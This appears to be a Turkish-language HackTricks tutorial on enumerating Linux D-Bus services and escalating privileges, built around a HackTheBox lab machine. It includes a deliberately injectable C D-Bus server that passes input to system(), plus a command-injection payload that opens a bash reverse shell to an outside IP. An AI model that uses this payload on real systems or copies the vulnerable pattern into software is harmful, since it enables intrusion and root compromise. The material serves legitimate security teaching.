Hacking püf noktalarını paylaşarak PR'ler göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
GUI numaralandırma
D-Bus, Ubuntu masaüstü ortamlarında ara işlem iletişimleri (IPC) arabirimi olarak kullanılır. Ubuntu'da, birkaç mesaj otobanının eşzamanlı çalıştığı gözlemlenir: sistem otobanı, genellikle sistem genelinde ilgili hizmetleri sunmak için ayrıcalıklı hizmetler tarafından kullanılan ve her oturum açılan kullanıcı için bir oturum otobanı, yalnızca o belirli kullanıcı için ilgili hizmetleri sunan. Buradaki odak noktası, ayrıcalıklı hizmetlerin çalıştığı daha yüksek ayrıcalıklarla (örneğin, kök) ilişkilendirilen sistem otobanıdır çünkü amacımız ayrıcalıkları yükseltmektir. D-Bus'ın mimarisinin her oturum otobanı için bir 'yönlendirici' kullandığı, bu yönlendiricinin, istemcilerin iletişim kurmak istedikleri hizmetlere göre istemci mesajlarını yönlendirmekten sorumlu olduğu belirtilmiştir.
D-Bus'taki hizmetler, sundukları nesneler ve arayüzler tarafından tanımlanır. Nesneler, her biri benzersiz bir nesne yolunu tanımlayan standart OOP dillerindeki sınıf örneklerine benzetilebilir. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sunulan her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, yalnızca bir yöntem olan Introspect yöntemine sahip olan org.freedesktop.DBus.Introspectable arayüzüdür. Bu yöntem, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsilini döndürür, burada özellikleri ve sinyalleri atlayarak yöntemlere odaklanır.
D-Bus arabirimine iletişim için iki araç kullanıldı: D-Bus tarafından sunulan yöntemleri betiklerde kolayca çağırmak için gdbus adlı bir CLI aracı ve D-Feet, her otobanda mevcut hizmetleri numaralandırmak ve her hizmetin içinde bulunan nesneleri görüntülemek için tasarlanmış Python tabanlı bir GUI aracı.
sudoapt-getinstalld-feet
İlk resimde D-Bus sistem otobüsüne kaydedilen servisler gösterilmekte, özellikle Sistem Otobüsü düğmesi seçildikten sonra org.debin.apt vurgulanmaktadır. D-Feet bu servisi nesneler için sorgular ve seçilen nesneler için arayüzleri, yöntemleri, özellikleri ve sinyalleri görüntüler, ikinci resimde görüldüğü gibi. Her yöntemin imzası da detaylı olarak verilir.
Dikkate değer bir özellik, servisin işlem kimliği (pid) ve komut satırının görüntülenmesidir; bu, servisin yükseltilmiş ayrıcalıklarla çalışıp çalışmadığını doğrulamak için faydalıdır ve araştırma açısından önemlidir.
D-Feet ayrıca yöntem çağrısına izin verir: kullanıcılar parametre olarak Python ifadeleri girebilir, D-Feet bu ifadeleri D-Bus türlerine dönüştürerek servise iletmektedir.
Ancak, bazı yöntemlerin çağrılabilmesi için kimlik doğrulaması gerekebilir. Bu yöntemleri göz ardı edeceğiz, çünkü amacımız öncelikle kimlik bilgileri olmadan ayrıcalıklarımızı yükseltmektir.
Ayrıca, bazı servislerin belirli eylemleri gerçekleştirmeye izin verilip verilmeyeceğini belirlemek için başka bir D-Bus servisi olan org.freedeskto.PolicyKit1'i sorguladığını unutmayın.
From wikipedia: Bir işlem bir otobüse bağlantı kurduğunda, otobüs bağlantıya benzersiz bağlantı adı adı verilen özel bir otobüs adı atar. Bu tür otobüs adları değişmezdir - bağlantı var olduğu sürece değişmeyeceği garanti edilir - ve daha da önemlisi, otobüs ömrü boyunca tekrar kullanılamazlar. Bu, aynı işlem otobüs bağlantısını kapatıp yeni bir tane oluştursa bile, başka bir bağlantının bu tür benzersiz bağlantı adını asla atamayacağı anlamına gelir. Benzersiz bağlantı adları kolayca tanınabilir çünkü—aksi takdirde yasak olan—iki nokta karakteri ile başlar.
Servis Nesne Bilgisi
Daha sonra, arayüz hakkında bazı bilgiler alabilirsiniz:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Bir Hizmet Nesnesinin Arayüzlerini Listele
Yeterli izinlere sahip olmanız gerekmektedir.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Bir Hizmet Nesnesinin Arayüzünü İnceleyin
Bu örnekte, tree parametresini kullanarak keşfedilen en son arayüzün nasıl seçildiğine dikkat edin (önceki bölüme bakınız):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
İzleme/Yakalama Arayüzü
Yeterli ayrıcalıklarla (sadece send_destination ve receive_sender ayrıcalıkları yeterli değil) bir D-Bus iletişimini izleyebilirsiniz.
Bir D-Bus yapılandırma dosyasını kök olmayan kullanıcıların iletişimi izlemesine izin verecek şekilde yapılandırmayı biliyorsanız lütfen benimle iletişime geçin!
İzlemek için farklı yollar:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
<p>İlgili örnekte `htb.oouch.Block` arayüzü izlenir ve **"**_**lalalalal**_**" mesajı yanlış iletişim yoluyla gönderilir:</p>
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Tüm gürültüyü filtreleme
Eğer otobüste çok fazla bilgi varsa, aşağıdaki gibi bir eşleşme kuralı geçirin:
HTB'den "oouch" ana bilgisayarındaki qtc kullanıcısı olarak, /etc/dbus-1/system.d/htb.oouch.Block.conf konumunda beklenmeyen bir D-Bus yapılandırma dosyası bulabilirsiniz:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Önceki yapılandırmadan bu D-BUS iletişimi aracılığıyla bilgi gönderip almak için root veya www-data kullanıcısı olmanız gerekeceğini unutmayın.
Docker konteyneri aeb4525789d8 içindeki qtc kullanıcısı olarak, /code/oouch/routes.py dosyasında bazı dbus ile ilgili kodları bulabilirsiniz. İlgili kodlar şunlardır:
Gördüğünüz gibi, bir D-Bus arayüzüne bağlanıyor ve "Block" fonksiyonuna "client_ip" bilgisini gönderiyor.
D-Bus bağlantısının diğer tarafında çalışan derlenmiş bir C binary bulunmaktadır. Bu kod, D-Bus bağlantısında IP adresini dinliyor ve system fonksiyonu aracılığıyla iptables'ı çağırıyor verilen IP adresini engellemek için.
system fonksiyonuna yapılan çağrı, bilerek komut enjeksiyonuna açıktır, bu nedenle aşağıdaki gibi bir yükleme ters kabuk oluşturacaktır: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Sızma
Bu sayfanın sonunda D-Bus uygulamasının tam C kodunu bulabilirsiniz. İçinde, 91-97 satırları arasında D-Bus nesne yolu ve arayüz adı nasıl kaydedildiğini bulabilirsiniz. Bu bilgiler, D-Bus bağlantısına bilgi göndermek için gereklidir:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Ayrıca, 57. satırda bu D-Bus iletişimi için kayıtlı olan tek yönteminBlock adında olduğunu bulabilirsiniz (Bu nedenle, aşağıdaki bölümde yükler hizmet nesnesine htb.oouch.Block, arayüze /htb/oouch/Block ve yöntem adına Block gönderilecektir):
Aşağıdaki python kodu, Block yöntemine block_iface.Block(runme) üzerinden D-Bus bağlantısına yük gönderecektir (not: bu kod parçası önceki kod parçasından çıkarılmıştır):
dbus-send, "Message Bus"e mesaj göndermek için kullanılan bir araçtır.
Message Bus - Sistemler arasında iletişimi kolaylaştırmak için kullanılan bir yazılımdır. Mesaj Kuyruğu ile ilgilidir (mesajlar sırayla düzenlenir), ancak Message Bus'ta mesajlar bir abonelik modelinde gönderilir ve ayrıca çok hızlıdır.
"-system" etiketi, varsayılan olarak bir oturum mesajı değil bir sistem mesajı olduğunu belirtmek için kullanılır.
"--print-reply" etiketi, mesajımızı uygun şekilde yazdırmak ve insan tarafından okunabilir bir formatta yanıtları almak için kullanılır.
"--string:" - Arayüze göndermek istediğimiz mesajın türü. Mesaj gönderme formatlarının çeşitli olduğu gibi double, bytes, booleans, int, objpath gibi mesaj gönderme formatları vardır. Bunların dışında, "object path" dosya yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda bir komutu dosya adı olarak arayüze iletmek için özel bir dosya (FIFO) kullanabiliriz. "string:;" - Bu, FIFO ters kabuk dosya/komutunun adını dosya olarak yerleştirdiğimiz yerde tekrar nesne yolunu çağırmak içindir.
Not: htb.oouch.Block.Block içinde, ilk kısım (htb.oouch.Block) servis nesnesine referans verir ve son kısım (.Block) yöntem adını belirtir.
C kodu
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}